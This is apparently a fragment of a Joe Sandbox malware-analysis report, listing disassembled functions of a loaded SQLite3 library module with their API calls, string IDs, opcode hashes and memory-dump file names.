                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_free$sqlite3_malloc64sqlite3_mprintf$sqlite3_snprintf$sqlite3_mutex_entersqlite3_mutex_leavesqlite3_strnicmp
                                                                                                                                      • String ID: .$sqlite3_extension_init$te3_$xa
                                                                                                                                      • API String ID: 2803375525-424482150
                                                                                                                                      • Opcode ID: cb202b8eceb6f30de15bb30b08e8e28bb34aca697d6615d6736c44a28d46ec58
                                                                                                                                      • Instruction ID: be726d4b01704fde56e9b68cacbf19b1e1f688172a34803ea8e649e0dfffea3c
                                                                                                                                      • Opcode Fuzzy Hash: cb202b8eceb6f30de15bb30b08e8e28bb34aca697d6615d6736c44a28d46ec58
                                                                                                                                      • Instruction Fuzzy Hash: 59C106B0A093569FDB00DFA8C48069DBBF1BF88358F25C52AE8989B350D775D941CF42
                                                                                                                                      Function 61E25B96 Relevance: 33.4, APIs: 14, Strings: 5, Instructions: 189COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_free$sqlite3_snprintf$sqlite3_mutex_entersqlite3_win32_is_nt
                                                                                                                                      • String ID: \$winFullPathname1$winFullPathname2$winFullPathname3$winFullPathname4
                                                                                                                                      • API String ID: 3752053736-2111127023
                                                                                                                                      • Opcode ID: 93286543eb0fbd64d52c8c53e0f58e9d4e8d012ffc5db5f85d0bfee80c2dd95c
                                                                                                                                      • Instruction ID: b63db8656d4d6d23792c9ec72844b69d9db017f3d53a38575ea04278350c5c32
                                                                                                                                      • Opcode Fuzzy Hash: 93286543eb0fbd64d52c8c53e0f58e9d4e8d012ffc5db5f85d0bfee80c2dd95c
                                                                                                                                      • Instruction Fuzzy Hash: 8D7149B0A087058FD741DF69C5942AEBBF1BF89358F64C42DE8998B354D734C8468F52
                                                                                                                                      Function 61E24534 Relevance: 28.6, APIs: 19, Instructions: 132COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_stricmp.SQLITE3 ref: 61E2454E
                                                                                                                                      • sqlite3_value_numeric_type.SQLITE3 ref: 61E2455A
                                                                                                                                      • sqlite3_value_int.SQLITE3 ref: 61E24567
                                                                                                                                      • sqlite3_stricmp.SQLITE3 ref: 61E2458F
                                                                                                                                      • sqlite3_value_numeric_type.SQLITE3 ref: 61E2459B
                                                                                                                                      • sqlite3_value_int.SQLITE3 ref: 61E245AA
                                                                                                                                      • sqlite3_stricmp.SQLITE3 ref: 61E245CA
                                                                                                                                      • sqlite3_value_numeric_type.SQLITE3 ref: 61E245D6
                                                                                                                                      • sqlite3_value_int.SQLITE3 ref: 61E245E5
                                                                                                                                      • sqlite3_stricmp.SQLITE3 ref: 61E24611
                                                                                                                                      • sqlite3_value_numeric_type.SQLITE3 ref: 61E2461D
                                                                                                                                      • sqlite3_value_int.SQLITE3 ref: 61E2462B
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_stricmpsqlite3_value_intsqlite3_value_numeric_type
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2723203140-0
                                                                                                                                      • Opcode ID: 3795cbae6c260a60e902fc88a9fc257c6be7c5d9693a9bc884f1f4f58bea1516
                                                                                                                                      • Instruction ID: 7649e02206c548833b93250ede4b9a31858c656497000684f2159c33148b283b
                                                                                                                                      • Opcode Fuzzy Hash: 3795cbae6c260a60e902fc88a9fc257c6be7c5d9693a9bc884f1f4f58bea1516
                                                                                                                                      • Instruction Fuzzy Hash: 3B4118B4908B46CBD720AF65899126EBBF4FF8475CF71C92EC8868B304E734D4528B41
                                                                                                                                      Function 61E1797F Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 227COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E179B6
                                                                                                                                      • sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E21778), ref: 61E179EA
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17B32
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17B3F
                                                                                                                                      • sqlite3_malloc.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17BC4
                                                                                                                                      • sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E21778), ref: 61E17BEA
                                                                                                                                      • sqlite3_free.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17C0C
                                                                                                                                      • sqlite3_os_init.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17C11
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17CE5
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17CF0
                                                                                                                                      • sqlite3_mutex_free.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17D0C
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17D21
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1DEFC), ref: 61E17D35
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_mutex_leave$sqlite3_mutex_enter$sqlite3_config$sqlite3_freesqlite3_mallocsqlite3_mutex_freesqlite3_os_init
                                                                                                                                      • String ID: @6a
                                                                                                                                      • API String ID: 1590227068-3141242769
                                                                                                                                      • Opcode ID: f5005043ba44dfdd3449d948017c6ec10384b408c65f325120fa883d2d97e120
                                                                                                                                      • Instruction ID: bc32719ed3ff1c89fd21ada1ff94782bfeb103e4cb28331d7a73d17d67bdccf6
                                                                                                                                      • Opcode Fuzzy Hash: f5005043ba44dfdd3449d948017c6ec10384b408c65f325120fa883d2d97e120
                                                                                                                                      • Instruction Fuzzy Hash: 86914C71D98A058FEF408FA8C44935D76F2BBCB709F248429C4049B3A4E779C9D5CB91
                                                                                                                                      Function 61E2552D Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 168COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_snprintf$sqlite3_result_textsqlite3_result_value
                                                                                                                                      • String ID: NULL
                                                                                                                                      • API String ID: 336169149-324932091
                                                                                                                                      • Opcode ID: a8165ed0734e617a3eb7d2e186e12fde092656e4a1aa6a645e7fab47ee6be10b
                                                                                                                                      • Instruction ID: d08389f3815a2e7e9e93c97d071f744434c803dde923877aa3eca0c125ef2f9d
                                                                                                                                      • Opcode Fuzzy Hash: a8165ed0734e617a3eb7d2e186e12fde092656e4a1aa6a645e7fab47ee6be10b
                                                                                                                                      • Instruction Fuzzy Hash: C761E270948386CFD7019F68C9A43A9BFE2AF85318F28C96CE4C88B395D735C845CB02
                                                                                                                                      Function 61E0C5BE Relevance: 16.6, APIs: 11, Instructions: 54COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_free
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2313487548-0
                                                                                                                                      • Opcode ID: cc8bbecdeb9c1dfda9548ace6e0444fd38f1078339e74ce32c513f6c2a7c387e
                                                                                                                                      • Instruction ID: c2f72618cc6c0f7f802301503beadb74b7d76ecd6ef94983025737cd66d22810
                                                                                                                                      • Opcode Fuzzy Hash: cc8bbecdeb9c1dfda9548ace6e0444fd38f1078339e74ce32c513f6c2a7c387e
                                                                                                                                      • Instruction Fuzzy Hash: 601186B4604B458BCB40EFB8C0C4419BBE4EF88325FA2C99DDC998B346E734D8A18F55
                                                                                                                                      Function 61E24198 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 177COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: memcmpsqlite3_value_text$sqlite3_freesqlite3_result_textsqlite3_value_bytes
                                                                                                                                      • String ID: t6a$x6a
                                                                                                                                      • API String ID: 3386002893-961901875
                                                                                                                                      • Opcode ID: 087c252f6a6034a36f693b487c6f517c5ab180425775e666bca1c97750164f84
                                                                                                                                      • Instruction ID: 6af5fefa62bd0083cfbc49f6c94c91775fb0b41dd064eb93ab53d6658f66140f
                                                                                                                                      • Opcode Fuzzy Hash: 087c252f6a6034a36f693b487c6f517c5ab180425775e666bca1c97750164f84
                                                                                                                                      • Instruction Fuzzy Hash: 4461AB71A042558FDB01CFA9C0A069DBBF1BF8E714F29C62ED8A9AB391D730D841CB50
                                                                                                                                      Function 61E01040 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 132sleepCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      • `OaMingw-w64 runtime failure:, xrefs: 61E01135
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Sleep_amsg_exit
                                                                                                                                      • String ID: `OaMingw-w64 runtime failure:
                                                                                                                                      • API String ID: 1015461914-1118873892
                                                                                                                                      • Opcode ID: b64c55eeb781da2828cf949bf5f5c709f9373df9cca3e1fcf598b46e8e3d2edf
                                                                                                                                      • Instruction ID: c771c8b00231f251dfe49cf79caec3f0b220d640a5060c235311dcaf4b0d618f
                                                                                                                                      • Opcode Fuzzy Hash: b64c55eeb781da2828cf949bf5f5c709f9373df9cca3e1fcf598b46e8e3d2edf
                                                                                                                                      • Instruction Fuzzy Hash: F5419CB0A556418BEB00AFE8D58432A7AF1FFC634DF25C92ED5888B351D775C890CB92
                                                                                                                                      Function 61E186AF Relevance: 13.9, APIs: 9, Instructions: 402COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_freesqlite3_malloc
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 423083942-0
                                                                                                                                      • Opcode ID: 377435d3fa47cca39a97c056bce5a2df502776b593b7c3e7010ba10327ec197e
                                                                                                                                      • Instruction ID: 4ccdfbaace8c2cfd2fa90fb703118cd59a5cb72861080560bccf724acfef8ec6
                                                                                                                                      • Opcode Fuzzy Hash: 377435d3fa47cca39a97c056bce5a2df502776b593b7c3e7010ba10327ec197e
                                                                                                                                      • Instruction Fuzzy Hash: BA02D0B4A09209CFDB04CFA8D581E8EBBF1BF48314F258559E855AB359D730E842DFA0
                                                                                                                                      Function 61E24D60 Relevance: 13.8, APIs: 9, Instructions: 341COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 61E24D7F
                                                                                                                                      • sqlite3_result_error_toobig.SQLITE3 ref: 61E24E60
                                                                                                                                      • sqlite3_result_error_nomem.SQLITE3 ref: 61E24E86
                                                                                                                                      • sqlite3_snprintf.SQLITE3 ref: 61E25102
                                                                                                                                      • sqlite3_snprintf.SQLITE3 ref: 61E2512F
                                                                                                                                      • sqlite3_snprintf.SQLITE3 ref: 61E25139
                                                                                                                                      • sqlite3_snprintf.SQLITE3 ref: 61E2519F
                                                                                                                                      • sqlite3_result_text.SQLITE3 ref: 61E252C2
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_snprintf$sqlite3_result_error_nomemsqlite3_result_error_toobigsqlite3_result_textsqlite3_value_text
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2444656285-0
                                                                                                                                      • Opcode ID: c30c6085cec16f445bc319ee7301202f4a7aa7cb8187d7f2ddb921c8b4b05c2e
                                                                                                                                      • Instruction ID: 7143cd1c6daae9501e903754e089939c502a95add7c740cb93a1c2c7af09ad12
                                                                                                                                      • Opcode Fuzzy Hash: c30c6085cec16f445bc319ee7301202f4a7aa7cb8187d7f2ddb921c8b4b05c2e
                                                                                                                                      • Instruction Fuzzy Hash: 09E1607594835ACFEB20CF58C890799BBF1BF46304F65C49AE8985B344D734D9868F42
                                                                                                                                      Function 61E1D3BC Relevance: 13.8, APIs: 3, Strings: 6, Instructions: 294stringCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: strncmp$sqlite3_realloc
                                                                                                                                      • String ID: "$[$f$n$t${
                                                                                                                                      • API String ID: 376036412-1714737523
                                                                                                                                      • Opcode ID: 0a090424efaf681855bf54a9f65f68632b10137e9abe9e860fe499f0a4d45a09
                                                                                                                                      • Instruction ID: 64de3516b4d30995faa39bb53a21e125637e37efe03b30567cf8edfdb90223b9
                                                                                                                                      • Opcode Fuzzy Hash: 0a090424efaf681855bf54a9f65f68632b10137e9abe9e860fe499f0a4d45a09
                                                                                                                                      • Instruction Fuzzy Hash: A4B1B678A4C2898FD721CF68C48A7D9BBF27B4931CF24C559D4948B39AC739D846CB11
                                                                                                                                      Function 61E85010 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109filememoryCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Virtual$ProtectQueryabortfwritevfprintf
                                                                                                                                      • String ID: @
                                                                                                                                      • API String ID: 1503958624-2766056989
                                                                                                                                      • Opcode ID: aafc3fdb3a8ed305672a2b5ae5c497fbf1d62d15941817515036867c45c2ed7b
                                                                                                                                      • Instruction ID: a08da7ce96221e979bcff68011cc15f3a87dea45d4d45cb97f5cddee0d0395e0
                                                                                                                                      • Opcode Fuzzy Hash: aafc3fdb3a8ed305672a2b5ae5c497fbf1d62d15941817515036867c45c2ed7b
                                                                                                                                      • Instruction Fuzzy Hash: 794113B5915B028FD740DF68C584A1ABBF0BF89354F69C91DE89D97350EB34E8848B82
                                                                                                                                      Function 61E2400F Relevance: 10.6, APIs: 7, Instructions: 93COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
